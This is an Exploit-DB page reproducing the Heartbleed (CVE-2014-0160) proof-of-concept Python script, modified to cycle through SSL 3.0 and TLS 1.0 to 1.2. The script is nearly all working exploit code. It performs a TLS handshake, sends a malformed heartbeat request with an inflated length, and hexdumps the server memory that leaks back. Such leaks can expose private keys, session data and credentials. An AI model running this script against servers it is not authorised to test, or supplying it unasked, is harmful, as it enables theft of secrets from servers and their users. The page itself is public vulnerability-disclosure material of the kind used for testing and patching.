OpenSSL 1.0.1f TLS Heartbeat Extension – ‘Heartbleed’ Memory Disclosure (Multiple SSL/TLS Versions)

  • 作者: Fitzl Csaba
    日期: 2014-04-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/32764/
  • # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
    # Date: [2014-04-09]
    # Exploit Author: [Csaba Fitzl]
    # Vendor Homepage: [http://www.openssl.org/]
    # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
    # Version: [1.0.1f]
    # Tested on: [N/A]
    # CVE : [2014-0160]
    
    
    #!/usr/bin/env python
    
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
    # Modified by Csaba Fitzl for multiple SSL / TLS version support
    
    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser
    
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    
    def h2bin(x):
    	return x.replace(' ', '').replace('\n', '').decode('hex')
    
    version = []
    version.append(['SSL 3.0','03 00'])
    version.append(['TLS 1.0','03 01'])
    version.append(['TLS 1.1','03 02'])
    version.append(['TLS 1.2','03 03'])
    
    def create_hello(version):
    	hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
    43 5b 90 9d 9b 72 0b bc0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 0390 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 3500 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0dc0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 3200 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 9600 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 1500 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 3400 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 0900 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 1500 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')
    	return hello
    
    def create_hb(version):
    	hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    	return hb
    
    def hexdump(s):
    	for b in xrange(0, len(s), 16):
    		lin = [c for c in s[b : b + 16]]
    		hxdat = ' '.join('%02X' % ord(c) for c in lin)
    		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
    		print '%04x: %-48s %s' % (b, hxdat, pdat)
    	print
    
    def recvall(s, length, timeout=5):
    	endtime = time.time() + timeout
    	rdata = ''
    	remain = length
    	while remain > 0:
    		rtime = endtime - time.time()
    		if rtime < 0:
    			return None
    		r, w, e = select.select([s], [], [], 5)
    		if s in r:
    			data = s.recv(remain)
    			# EOF?
    			if not data:
    				return None
    			rdata += data
    			remain -= len(data)
    	return rdata
    
    
    def recvmsg(s):
    	hdr = recvall(s, 5)
    	if hdr is None:
    		print 'Unexpected EOF receiving record header - server closed connection'
    		return None, None, None
    	typ, ver, ln = struct.unpack('>BHH', hdr)
    	pay = recvall(s, ln, 10)
    	if pay is None:
    		print 'Unexpected EOF receiving record payload - server closed connection'
    		return None, None, None
    	print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    	return typ, ver, pay
    
    def hit_hb(s,hb):
    	s.send(hb)
    	while True:
    		typ, ver, pay = recvmsg(s)
    		if typ is None:
    			print 'No heartbeat response received, server likely not vulnerable'
    			return False
    
    		if typ == 24:
    			print 'Received heartbeat response:'
    			hexdump(pay)
    			if len(pay) > 3:
    				print 'WARNING: server returned more data than it should - server is vulnerable!'
    			else:
    				print 'Server processed malformed heartbeat, but did not return any extra data.'
    			return True
    
    		if typ == 21:
    			print 'Received alert:'
    			hexdump(pay)
    			print 'Server returned error, likely not vulnerable'
    			return False
    
    def main():
    	opts, args = options.parse_args()
    	if len(args) < 1:
    		options.print_help()
    		return
    	for i in range(len(version)):
    		print 'Trying ' + version[i][0] + '...'
    		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		print 'Connecting...'
    		sys.stdout.flush()
    		s.connect((args[0], opts.port))
    		print 'Sending Client Hello...'
    		sys.stdout.flush()
    		s.send(create_hello(version[i][1]))
    		print 'Waiting for Server Hello...'
    		sys.stdout.flush()
    		while True:
    			typ, ver, pay = recvmsg(s)
    			if typ == None:
    				print 'Server closed connection without sending Server Hello.'
    				return
    			# Look for server hello done message.
    			if typ == 22 and ord(pay[0]) == 0x0E:
    				break
    
    		print 'Sending heartbeat request...'
    		sys.stdout.flush()
    		s.send(create_hb(version[i][1]))
    		if hit_hb(s,create_hb(version[i][1])):
    			#Stop if vulnerable
    			break
    
    if __name__ == '__main__':
    	main()